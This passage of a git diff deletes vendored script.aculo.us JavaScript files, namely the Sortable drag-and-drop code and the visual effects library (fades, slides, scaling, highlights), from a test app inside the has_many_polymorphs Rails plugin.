Sortable.serialize(this.element); - }, - - onStart: function() { - this.lastValue = Sortable.serialize(this.element); - }, - - onEnd: function() { - Sortable.unmark(); - if(this.lastValue != Sortable.serialize(this.element)) - this.observer(this.element) - } -} - -var Sortable = { - SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/, - - sortables: {}, - - _findRootElement: function(element) { - while (element.tagName != "BODY") { - if(element.id && Sortable.sortables[element.id]) return element; - element = element.parentNode; - } - }, - - options: function(element) { - element = Sortable._findRootElement($(element)); - if(!element) return; - return Sortable.sortables[element.id]; - }, - - destroy: function(element){ - var s = Sortable.options(element); - - if(s) { - Draggables.removeObserver(s.element); - s.droppables.each(function(d){ Droppables.remove(d) }); - s.draggables.invoke('destroy'); - - delete Sortable.sortables[s.element.id]; - } - }, - - create: function(element) { - element = $(element); - var options = Object.extend({ - element: element, - tag: 'li', // assumes li children, override with tag: 'tagname' - dropOnEmpty: false, - tree: false, - treeTag: 'ul', - overlap: 'vertical', // one of 'vertical', 'horizontal' - constraint: 'vertical', // one of 'vertical', 'horizontal', false - containment: element, // also takes array of elements (or id's); or false - handle: false, // or a CSS class - only: false, - delay: 0, - hoverclass: null, - ghosting: false, - scroll: false, - scrollSensitivity: 20, - scrollSpeed: 15, - format: this.SERIALIZE_RULE, - onChange: Prototype.emptyFunction, - onUpdate: Prototype.emptyFunction - }, arguments[1] || {}); - - // clear any old sortable with same element - this.destroy(element); - - // build options for the draggables - var options_for_draggable = { - revert: true, - scroll: options.scroll, - scrollSpeed: options.scrollSpeed, - scrollSensitivity: options.scrollSensitivity, - delay: options.delay, - ghosting: options.ghosting, - constraint: options.constraint, - handle: options.handle }; - - if(options.starteffect) - options_for_draggable.starteffect = options.starteffect; - - if(options.reverteffect) - options_for_draggable.reverteffect = options.reverteffect; - else - if(options.ghosting) options_for_draggable.reverteffect = function(element) { - element.style.top = 0; - element.style.left = 0; - }; - - if(options.endeffect) - options_for_draggable.endeffect = options.endeffect; - - if(options.zindex) - options_for_draggable.zindex = options.zindex; - - // build options for the droppables - var options_for_droppable = { - overlap: options.overlap, - containment: options.containment, - tree: options.tree, - hoverclass: options.hoverclass, - onHover: Sortable.onHover - } - - var options_for_tree = { - onHover: Sortable.onEmptyHover, - overlap: options.overlap, - containment: options.containment, - hoverclass: options.hoverclass - } - - // fix for gecko engine - Element.cleanWhitespace(element); - - options.draggables = []; - options.droppables = []; - - // drop on empty handling - if(options.dropOnEmpty || options.tree) { - Droppables.add(element, options_for_tree); - options.droppables.push(element); - } - - (this.findElements(element, options) || []).each( function(e) { - // handles are per-draggable - var handle = options.handle ? - $(e).down('.'+options.handle,0) : e; - options.draggables.push( - new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); - Droppables.add(e, options_for_droppable); - if(options.tree) e.treeNode = element; - options.droppables.push(e); - }); - - if(options.tree) { - (Sortable.findTreeElements(element, options) || []).each( function(e) { - Droppables.add(e, options_for_tree); - e.treeNode = element; - options.droppables.push(e); - }); - } - - // keep reference - this.sortables[element.id] = options; - - // for onupdate - Draggables.addObserver(new SortableObserver(element, options.onUpdate)); - - }, - - // return all suitable-for-sortable elements in a guaranteed order - findElements: function(element, options) { - return Element.findChildren( - element, options.only, options.tree ? true : false, options.tag); - }, - - findTreeElements: function(element, options) { - return Element.findChildren( - element, options.only, options.tree ? true : false, options.treeTag); - }, - - onHover: function(element, dropon, overlap) { - if(Element.isParent(dropon, element)) return; - - if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { - return; - } else if(overlap>0.5) { - Sortable.mark(dropon, 'before'); - if(dropon.previousSibling != element) { - var oldParentNode = element.parentNode; - element.style.visibility = "hidden"; // fix gecko rendering - dropon.parentNode.insertBefore(element, dropon); - if(dropon.parentNode!=oldParentNode) - Sortable.options(oldParentNode).onChange(element); - Sortable.options(dropon.parentNode).onChange(element); - } - } else { - Sortable.mark(dropon, 'after'); - var nextElement = dropon.nextSibling || null; - if(nextElement != element) { - var oldParentNode = element.parentNode; - element.style.visibility = "hidden"; // fix gecko rendering - dropon.parentNode.insertBefore(element, nextElement); - if(dropon.parentNode!=oldParentNode) - Sortable.options(oldParentNode).onChange(element); - Sortable.options(dropon.parentNode).onChange(element); - } - } - }, - - onEmptyHover: function(element, dropon, overlap) { - var oldParentNode = element.parentNode; - var droponOptions = Sortable.options(dropon); - - if(!Element.isParent(dropon, element)) { - var index; - - var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only}); - var child = null; - - if(children) { - var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); - - for (index = 0; index < children.length; index += 1) { - if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { - offset -= Element.offsetSize (children[index], droponOptions.overlap); - } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { - child = index + 1 < children.length ? children[index + 1] : null; - break; - } else { - child = children[index]; - break; - } - } - } - - dropon.insertBefore(element, child); - - Sortable.options(oldParentNode).onChange(element); - droponOptions.onChange(element); - } - }, - - unmark: function() { - if(Sortable._marker) Sortable._marker.hide(); - }, - - mark: function(dropon, position) { - // mark on ghosting only - var sortable = Sortable.options(dropon.parentNode); - if(sortable && !sortable.ghosting) return; - - if(!Sortable._marker) { - Sortable._marker = - ($('dropmarker') || Element.extend(document.createElement('DIV'))). - hide().addClassName('dropmarker').setStyle({position:'absolute'}); - document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); - } - var offsets = Position.cumulativeOffset(dropon); - Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'}); - - if(position=='after') - if(sortable.overlap == 'horizontal') - Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'}); - else - Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'}); - - Sortable._marker.show(); - }, - - _tree: function(element, options, parent) { - var children = Sortable.findElements(element, options) || []; - - for (var i = 0; i < children.length; ++i) { - var match = children[i].id.match(options.format); - - if (!match) continue; - - var child = { - id: encodeURIComponent(match ? match[1] : null), - element: element, - parent: parent, - children: [], - position: parent.children.length, - container: $(children[i]).down(options.treeTag) - } - - /* Get the element containing the children and recurse over it */ - if (child.container) - this._tree(child.container, options, child) - - parent.children.push (child); - } - - return parent; - }, - - tree: function(element) { - element = $(element); - var sortableOptions = this.options(element); - var options = Object.extend({ - tag: sortableOptions.tag, - treeTag: sortableOptions.treeTag, - only: sortableOptions.only, - name: element.id, - format: sortableOptions.format - }, arguments[1] || {}); - - var root = { - id: null, - parent: null, - children: [], - container: element, - position: 0 - } - - return Sortable._tree(element, options, root); - }, - - /* Construct a [i] index for a particular node */ - _constructIndex: function(node) { - var index = ''; - do { - if (node.id) index = '[' + node.position + ']' + index; - } while ((node = node.parent) != null); - return index; - }, - - sequence: function(element) { - element = $(element); - var options = Object.extend(this.options(element), arguments[1] || {}); - - return $(this.findElements(element, options) || []).map( function(item) { - return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; - }); - }, - - setSequence: function(element, new_sequence) { - element = $(element); - var options = Object.extend(this.options(element), arguments[2] || {}); - - var nodeMap = {}; - this.findElements(element, options).each( function(n) { - if (n.id.match(options.format)) - nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; - n.parentNode.removeChild(n); - }); - - new_sequence.each(function(ident) { - var n = nodeMap[ident]; - if (n) { - n[1].appendChild(n[0]); - delete nodeMap[ident]; - } - }); - }, - - serialize: function(element) { - element = $(element); - var options = Object.extend(Sortable.options(element), arguments[1] || {}); - var name = encodeURIComponent( - (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); - - if (options.tree) { - return Sortable.tree(element, arguments[1]).children.map( function (item) { - return [name + Sortable._constructIndex(item) + "[id]=" + - encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); - }).flatten().join('&'); - } else { - return Sortable.sequence(element, arguments[1]).map( function(item) { - return name + "[]=" + encodeURIComponent(item); - }).join('&'); - } - } -} - -// Returns true if child is contained within element -Element.isParent = function(child, element) { - if (!child.parentNode || child == element) return false; - if (child.parentNode == element) return true; - return Element.isParent(child.parentNode, element); -} - -Element.findChildren = function(element, only, recursive, tagName) { - if(!element.hasChildNodes()) return null; - tagName = tagName.toUpperCase(); - if(only) only = [only].flatten(); - var elements = []; - $A(element.childNodes).each( function(e) { - if(e.tagName && e.tagName.toUpperCase()==tagName && - (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) - elements.push(e); - if(recursive) { - var grandchildren = Element.findChildren(e, only, recursive, tagName); - if(grandchildren) elements.push(grandchildren); - } - }); - - return (elements.length>0 ? elements.flatten() : []); -} - -Element.offsetSize = function (element, type) { - return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')]; -} diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/effects.js b/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/effects.js deleted file mode 100644 index 3b02eda2..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/effects.js +++ /dev/null @@ -1,1088 +0,0 @@ -// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// Contributors: -// Justin Palmer (http://encytemedia.com/) -// Mark Pilgrim (http://diveintomark.org/) -// Martin Bialasinki -// -// script.aculo.us is freely distributable under the terms of an MIT-style license. -// For details, see the script.aculo.us web site: http://script.aculo.us/ - -// converts rgb() and #xxx to #xxxxxx format, -// returns self (or first argument) if not convertable -String.prototype.parseColor = function() { - var color = '#'; - if(this.slice(0,4) == 'rgb(') { - var cols = this.slice(4,this.length-1).split(','); - var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); - } else { - if(this.slice(0,1) == '#') { - if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); - if(this.length==7) color = this.toLowerCase(); - } - } - return(color.length==7 ? color : (arguments[0] || this)); -} - -/*--------------------------------------------------------------------------*/ - -Element.collectTextNodes = function(element) { - return $A($(element).childNodes).collect( function(node) { - return (node.nodeType==3 ? node.nodeValue : - (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); - }).flatten().join(''); -} - -Element.collectTextNodesIgnoreClass = function(element, className) { - return $A($(element).childNodes).collect( function(node) { - return (node.nodeType==3 ? node.nodeValue : - ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? - Element.collectTextNodesIgnoreClass(node, className) : '')); - }).flatten().join(''); -} - -Element.setContentZoom = function(element, percent) { - element = $(element); - element.setStyle({fontSize: (percent/100) + 'em'}); - if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); - return element; -} - -Element.getOpacity = function(element){ - element = $(element); - var opacity; - if (opacity = element.getStyle('opacity')) - return parseFloat(opacity); - if (opacity = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) - if(opacity[1]) return parseFloat(opacity[1]) / 100; - return 1.0; -} - -Element.setOpacity = function(element, value){ - element= $(element); - if (value == 1){ - element.setStyle({ opacity: - (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? - 0.999999 : 1.0 }); - if(/MSIE/.test(navigator.userAgent) && !window.opera) - element.setStyle({filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'')}); - } else { - if(value < 0.00001) value = 0; - element.setStyle({opacity: value}); - if(/MSIE/.test(navigator.userAgent) && !window.opera) - element.setStyle( - { filter: element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,'') + - 'alpha(opacity='+value*100+')' }); - } - return element; -} - -Element.getInlineOpacity = function(element){ - return $(element).style.opacity || ''; -} - -Element.forceRerendering = function(element) { - try { - element = $(element); - var n = document.createTextNode(' '); - element.appendChild(n); - element.removeChild(n); - } catch(e) { } -}; - -/*--------------------------------------------------------------------------*/ - -Array.prototype.call = function() { - var args = arguments; - this.each(function(f){ f.apply(this, args) }); -} - -/*--------------------------------------------------------------------------*/ - -var Effect = { - _elementDoesNotExistError: { - name: 'ElementDoesNotExistError', - message: 'The specified DOM element does not exist, but is required for this effect to operate' - }, - tagifyText: function(element) { - if(typeof Builder == 'undefined') - throw("Effect.tagifyText requires including script.aculo.us' builder.js library"); - - var tagifyStyle = 'position:relative'; - if(/MSIE/.test(navigator.userAgent) && !window.opera) tagifyStyle += ';zoom:1'; - - element = $(element); - $A(element.childNodes).each( function(child) { - if(child.nodeType==3) { - child.nodeValue.toArray().each( function(character) { - element.insertBefore( - Builder.node('span',{style: tagifyStyle}, - character == ' ' ? String.fromCharCode(160) : character), - child); - }); - Element.remove(child); - } - }); - }, - multiple: function(element, effect) { - var elements; - if(((typeof element == 'object') || - (typeof element == 'function')) && - (element.length)) - elements = element; - else - elements = $(element).childNodes; - - var options = Object.extend({ - speed: 0.1, - delay: 0.0 - }, arguments[2] || {}); - var masterDelay = options.delay; - - $A(elements).each( function(element, index) { - new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); - }); - }, - PAIRS: { - 'slide': ['SlideDown','SlideUp'], - 'blind': ['BlindDown','BlindUp'], - 'appear': ['Appear','Fade'] - }, - toggle: function(element, effect) { - element = $(element); - effect = (effect || 'appear').toLowerCase(); - var options = Object.extend({ - queue: { position:'end', scope:(element.id || 'global'), limit: 1 } - }, arguments[2] || {}); - Effect[element.visible() ? - Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); - } -}; - -var Effect2 = Effect; // deprecated - -/* ------------- transitions ------------- */ - -Effect.Transitions = { - linear: Prototype.K, - sinoidal: function(pos) { - return (-Math.cos(pos*Math.PI)/2) + 0.5; - }, - reverse: function(pos) { - return 1-pos; - }, - flicker: function(pos) { - return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; - }, - wobble: function(pos) { - return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; - }, - pulse: function(pos, pulses) { - pulses = pulses || 5; - return ( - Math.round((pos % (1/pulses)) * pulses) == 0 ? - ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) : - 1 - ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) - ); - }, - none: function(pos) { - return 0; - }, - full: function(pos) { - return 1; - } -}; - -/* ------------- core effects ------------- */ - -Effect.ScopedQueue = Class.create(); -Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), { - initialize: function() { - this.effects = []; - this.interval = null; - }, - _each: function(iterator) { - this.effects._each(iterator); - }, - add: function(effect) { - var timestamp = new Date().getTime(); - - var position = (typeof effect.options.queue == 'string') ? - effect.options.queue : effect.options.queue.position; - - switch(position) { - case 'front': - // move unstarted effects after this effect - this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { - e.startOn += effect.finishOn; - e.finishOn += effect.finishOn; - }); - break; - case 'with-last': - timestamp = this.effects.pluck('startOn').max() || timestamp; - break; - case 'end': - // start effect after last queued effect has finished - timestamp = this.effects.pluck('finishOn').max() || timestamp; - break; - } - - effect.startOn += timestamp; - effect.finishOn += timestamp; - - if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) - this.effects.push(effect); - - if(!this.interval) - this.interval = setInterval(this.loop.bind(this), 40); - }, - remove: function(effect) { - this.effects = this.effects.reject(function(e) { return e==effect }); - if(this.effects.length == 0) { - clearInterval(this.interval); - this.interval = null; - } - }, - loop: function() { - var timePos = new Date().getTime(); - this.effects.invoke('loop', timePos); - } -}); - -Effect.Queues = { - instances: $H(), - get: function(queueName) { - if(typeof queueName != 'string') return queueName; - - if(!this.instances[queueName]) - this.instances[queueName] = new Effect.ScopedQueue(); - - return this.instances[queueName]; - } -} -Effect.Queue = Effect.Queues.get('global'); - -Effect.DefaultOptions = { - transition: Effect.Transitions.sinoidal, - duration: 1.0, // seconds - fps: 25.0, // max. 25fps due to Effect.Queue implementation - sync: false, // true for combining - from: 0.0, - to: 1.0, - delay: 0.0, - queue: 'parallel' -} - -Effect.Base = function() {}; -Effect.Base.prototype = { - position: null, - start: function(options) { - this.options = Object.extend(Object.extend({},Effect.DefaultOptions), options || {}); - this.currentFrame = 0; - this.state = 'idle'; - this.startOn = this.options.delay*1000; - this.finishOn = this.startOn + (this.options.duration*1000); - this.event('beforeStart'); - if(!this.options.sync) - Effect.Queues.get(typeof this.options.queue == 'string' ? - 'global' : this.options.queue.scope).add(this); - }, - loop: function(timePos) { - if(timePos >= this.startOn) { - if(timePos >= this.finishOn) { - this.render(1.0); - this.cancel(); - this.event('beforeFinish'); - if(this.finish) this.finish(); - this.event('afterFinish'); - return; - } - var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); - var frame = Math.round(pos * this.options.fps * this.options.duration); - if(frame > this.currentFrame) { - this.render(pos); - this.currentFrame = frame; - } - } - }, - render: function(pos) { - if(this.state == 'idle') { - this.state = 'running'; - this.event('beforeSetup'); - if(this.setup) this.setup(); - this.event('afterSetup'); - } - if(this.state == 'running') { - if(this.options.transition) pos = this.options.transition(pos); - pos *= (this.options.to-this.options.from); - pos += this.options.from; - this.position = pos; - this.event('beforeUpdate'); - if(this.update) this.update(pos); - this.event('afterUpdate'); - } - }, - cancel: function() { - if(!this.options.sync) - Effect.Queues.get(typeof this.options.queue == 'string' ? - 'global' : this.options.queue.scope).remove(this); - this.state = 'finished'; - }, - event: function(eventName) { - if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); - if(this.options[eventName]) this.options[eventName](this); - }, - inspect: function() { - return '#'; - } -} - -Effect.Parallel = Class.create(); -Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { - initialize: function(effects) { - this.effects = effects || []; - this.start(arguments[1]); - }, - update: function(position) { - this.effects.invoke('render', position); - }, - finish: function(position) { - this.effects.each( function(effect) { - effect.render(1.0); - effect.cancel(); - effect.event('beforeFinish'); - if(effect.finish) effect.finish(position); - effect.event('afterFinish'); - }); - } -}); - -Effect.Event = Class.create(); -Object.extend(Object.extend(Effect.Event.prototype, Effect.Base.prototype), { - initialize: function() { - var options = Object.extend({ - duration: 0 - }, arguments[0] || {}); - this.start(options); - }, - update: Prototype.emptyFunction -}); - -Effect.Opacity = Class.create(); -Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - if(!this.element) throw(Effect._elementDoesNotExistError); - // make this work on IE on elements without 'layout' - if(/MSIE/.test(navigator.userAgent) && !window.opera && (!this.element.currentStyle.hasLayout)) - this.element.setStyle({zoom: 1}); - var options = Object.extend({ - from: this.element.getOpacity() || 0.0, - to: 1.0 - }, arguments[1] || {}); - this.start(options); - }, - update: function(position) { - this.element.setOpacity(position); - } -}); - -Effect.Move = Class.create(); -Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - if(!this.element) throw(Effect._elementDoesNotExistError); - var options = Object.extend({ - x: 0, - y: 0, - mode: 'relative' - }, arguments[1] || {}); - this.start(options); - }, - setup: function() { - // Bug in Opera: Opera returns the "real" position of a static element or - // relative element that does not have top/left explicitly set. - // ==> Always set top and left for position relative elements in your stylesheets - // (to 0 if you do not need them) - this.element.makePositioned(); - this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); - this.originalTop = parseFloat(this.element.getStyle('top') || '0'); - if(this.options.mode == 'absolute') { - // absolute movement, so we need to calc deltaX and deltaY - this.options.x = this.options.x - this.originalLeft; - this.options.y = this.options.y - this.originalTop; - } - }, - update: function(position) { - this.element.setStyle({ - left: Math.round(this.options.x * position + this.originalLeft) + 'px', - top: Math.round(this.options.y * position + this.originalTop) + 'px' - }); - } -}); - -// for backwards compatibility -Effect.MoveBy = function(element, toTop, toLeft) { - return new Effect.Move(element, - Object.extend({ x: toLeft, y: toTop }, arguments[3] || {})); -}; - -Effect.Scale = Class.create(); -Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { - initialize: function(element, percent) { - this.element = $(element); - if(!this.element) throw(Effect._elementDoesNotExistError); - var options = Object.extend({ - scaleX: true, - scaleY: true, - scaleContent: true, - scaleFromCenter: false, - scaleMode: 'box', // 'box' or 'contents' or {} with provided values - scaleFrom: 100.0, - scaleTo: percent - }, arguments[2] || {}); - this.start(options); - }, - setup: function() { - this.restoreAfterFinish = this.options.restoreAfterFinish || false; - this.elementPositioning = this.element.getStyle('position'); - - this.originalStyle = {}; - ['top','left','width','height','fontSize'].each( function(k) { - this.originalStyle[k] = this.element.style[k]; - }.bind(this)); - - this.originalTop = this.element.offsetTop; - this.originalLeft = this.element.offsetLeft; - - var fontSize = this.element.getStyle('font-size') || '100%'; - ['em','px','%','pt'].each( function(fontSizeType) { - if(fontSize.indexOf(fontSizeType)>0) { - this.fontSize = parseFloat(fontSize); - this.fontSizeType = fontSizeType; - } - }.bind(this)); - - this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; - - this.dims = null; - if(this.options.scaleMode=='box') - this.dims = [this.element.offsetHeight, this.element.offsetWidth]; - if(/^content/.test(this.options.scaleMode)) - this.dims = [this.element.scrollHeight, this.element.scrollWidth]; - if(!this.dims) - this.dims = [this.options.scaleMode.originalHeight, - this.options.scaleMode.originalWidth]; - }, - update: function(position) { - var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); - if(this.options.scaleContent && this.fontSize) - this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); - this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); - }, - finish: function(position) { - if(this.restoreAfterFinish) this.element.setStyle(this.originalStyle); - }, - setDimensions: function(height, width) { - var d = {}; - if(this.options.scaleX) d.width = Math.round(width) + 'px'; - if(this.options.scaleY) d.height = Math.round(height) + 'px'; - if(this.options.scaleFromCenter) { - var topd = (height - this.dims[0])/2; - var leftd = (width - this.dims[1])/2; - if(this.elementPositioning == 'absolute') { - if(this.options.scaleY) d.top = this.originalTop-topd + 'px'; - if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; - } else { - if(this.options.scaleY) d.top = -topd + 'px'; - if(this.options.scaleX) d.left = -leftd + 'px'; - } - } - this.element.setStyle(d); - } -}); - -Effect.Highlight = Class.create(); -Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - if(!this.element) throw(Effect._elementDoesNotExistError); - var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {}); - this.start(options); - }, - setup: function() { - // Prevent executing on elements not in the layout flow - if(this.element.getStyle('display')=='none') { this.cancel(); return; } - // Disable background image during the effect - this.oldStyle = { - backgroundImage: this.element.getStyle('background-image') }; - this.element.setStyle({backgroundImage: 'none'}); - if(!this.options.endcolor) - this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); - if(!this.options.restorecolor) - this.options.restorecolor = this.element.getStyle('background-color'); - // init color calculations - this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); - this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); - }, - update: function(position) { - this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ - return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) }); - }, - finish: function() { - this.element.setStyle(Object.extend(this.oldStyle, { - backgroundColor: this.options.restorecolor - })); - } -}); - -Effect.ScrollTo = Class.create(); -Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - this.start(arguments[1] || {}); - }, - setup: function() { - Position.prepare(); - var offsets = Position.cumulativeOffset(this.element); - if(this.options.offset) offsets[1] += this.options.offset; - var max = window.innerHeight ? - window.height - window.innerHeight : - document.body.scrollHeight - - (document.documentElement.clientHeight ? - document.documentElement.clientHeight : document.body.clientHeight); - this.scrollStart = Position.deltaY; - this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; - }, - update: function(position) { - Position.prepare(); - window.scrollTo(Position.deltaX, - this.scrollStart + (position*this.delta)); - } -}); - -/* ------------- combination effects ------------- */ - -Effect.Fade = function(element) { - element = $(element); - var oldOpacity = element.getInlineOpacity(); - var options = Object.extend({ - from: element.getOpacity() || 1.0, - to: 0.0, - afterFinishInternal: function(effect) { - if(effect.options.to!=0) return; - effect.element.hide().setStyle({opacity: oldOpacity}); - }}, arguments[1] || {}); - return new Effect.Opacity(element,options); -} - -Effect.Appear = function(element) { - element = $(element); - var options = Object.extend({ - from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), - to: 1.0, - // force Safari to render floated elements properly - afterFinishInternal: function(effect) { - effect.element.forceRerendering(); - }, - beforeSetup: function(effect) { - effect.element.setOpacity(effect.options.from).show(); - }}, arguments[1] || {}); - return new Effect.Opacity(element,options); -} - -Effect.Puff = function(element) { - element = $(element); - var oldStyle = { - opacity: element.getInlineOpacity(), - position: element.getStyle('position'), - top: element.style.top, - left: element.style.left, - width: element.style.width, - height: element.style.height - }; - return new Effect.Parallel( - [ new Effect.Scale(element, 200, - { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), - new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], - Object.extend({ duration: 1.0, - beforeSetupInternal: function(effect) { - Position.absolutize(effect.effects[0].element) - }, - afterFinishInternal: function(effect) { - effect.effects[0].element.hide().setStyle(oldStyle); } - }, arguments[1] || {}) - ); -} - -Effect.BlindUp = function(element) { - element = $(element); - element.makeClipping(); - return new Effect.Scale(element, 0, - Object.extend({ scaleContent: false, - scaleX: false, - restoreAfterFinish: true, - afterFinishInternal: function(effect) { - effect.element.hide().undoClipping(); - } - }, arguments[1] || {}) - ); -} - -Effect.BlindDown = function(element) { - element = $(element); - var elementDimensions = element.getDimensions(); - return new Effect.Scale(element, 100, Object.extend({ - scaleContent: false, - scaleX: false, - scaleFrom: 0, - scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, - restoreAfterFinish: true, - afterSetup: function(effect) { - effect.element.makeClipping().setStyle({height: '0px'}).show(); - }, - afterFinishInternal: function(effect) { - effect.element.undoClipping(); - } - }, arguments[1] || {})); -} - -Effect.SwitchOff = function(element) { - element = $(element); - var oldOpacity = element.getInlineOpacity(); - return new Effect.Appear(element, Object.extend({ - duration: 0.4, - from: 0, - transition: Effect.Transitions.flicker, - afterFinishInternal: function(effect) { - new Effect.Scale(effect.element, 1, { - duration: 0.3, scaleFromCenter: true, - scaleX: false, scaleContent: false, restoreAfterFinish: true, - beforeSetup: function(effect) { - effect.element.makePositioned().makeClipping(); - }, - afterFinishInternal: function(effect) { - effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity}); - } - }) - } - }, arguments[1] || {})); -} - -Effect.DropOut = function(element) { - element = $(element); - var oldStyle = { - top: element.getStyle('top'), - left: element.getStyle('left'), - opacity: element.getInlineOpacity() }; - return new Effect.Parallel( - [ new Effect.Move(element, {x: 0, y: 100, sync: true }), - new Effect.Opacity(element, { sync: true, to: 0.0 }) ], - Object.extend( - { duration: 0.5, - beforeSetup: function(effect) { - effect.effects[0].element.makePositioned(); - }, - afterFinishInternal: function(effect) { - effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle); - } - }, arguments[1] || {})); -} - -Effect.Shake = function(element) { - element = $(element); - var oldStyle = { - top: element.getStyle('top'), - left: element.getStyle('left') }; - return new Effect.Move(element, - { x: 20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { - new Effect.Move(effect.element, - { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { - new Effect.Move(effect.element, - { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { - new Effect.Move(effect.element, - { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { - new Effect.Move(effect.element, - { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { - new Effect.Move(effect.element, - { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { - effect.element.undoPositioned().setStyle(oldStyle); - }}) }}) }}) }}) }}) }}); -} - -Effect.SlideDown = function(element) { - element = $(element).cleanWhitespace(); - // SlideDown need to have the content of the element wrapped in a container element with fixed height! - var oldInnerBottom = element.down().getStyle('bottom'); - var elementDimensions = element.getDimensions(); - return new Effect.Scale(element, 100, Object.extend({ - scaleContent: false, - scaleX: false, - scaleFrom: window.opera ? 0 : 1, - scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, - restoreAfterFinish: true, - afterSetup: function(effect) { - effect.element.makePositioned(); - effect.element.down().makePositioned(); - if(window.opera) effect.element.setStyle({top: ''}); - effect.element.makeClipping().setStyle({height: '0px'}).show(); - }, - afterUpdateInternal: function(effect) { - effect.element.down().setStyle({bottom: - (effect.dims[0] - effect.element.clientHeight) + 'px' }); - }, - afterFinishInternal: function(effect) { - effect.element.undoClipping().undoPositioned(); - effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); } - }, arguments[1] || {}) - ); -} - -Effect.SlideUp = function(element) { - element = $(element).cleanWhitespace(); - var oldInnerBottom = element.down().getStyle('bottom'); - return new Effect.Scale(element, window.opera ? 0 : 1, - Object.extend({ scaleContent: false, - scaleX: false, - scaleMode: 'box', - scaleFrom: 100, - restoreAfterFinish: true, - beforeStartInternal: function(effect) { - effect.element.makePositioned(); - effect.element.down().makePositioned(); - if(window.opera) effect.element.setStyle({top: ''}); - effect.element.makeClipping().show(); - }, - afterUpdateInternal: function(effect) { - effect.element.down().setStyle({bottom: - (effect.dims[0] - effect.element.clientHeight) + 'px' }); - }, - afterFinishInternal: function(effect) { - effect.element.hide().undoClipping().undoPositioned().setStyle({bottom: oldInnerBottom}); - effect.element.down().undoPositioned(); - 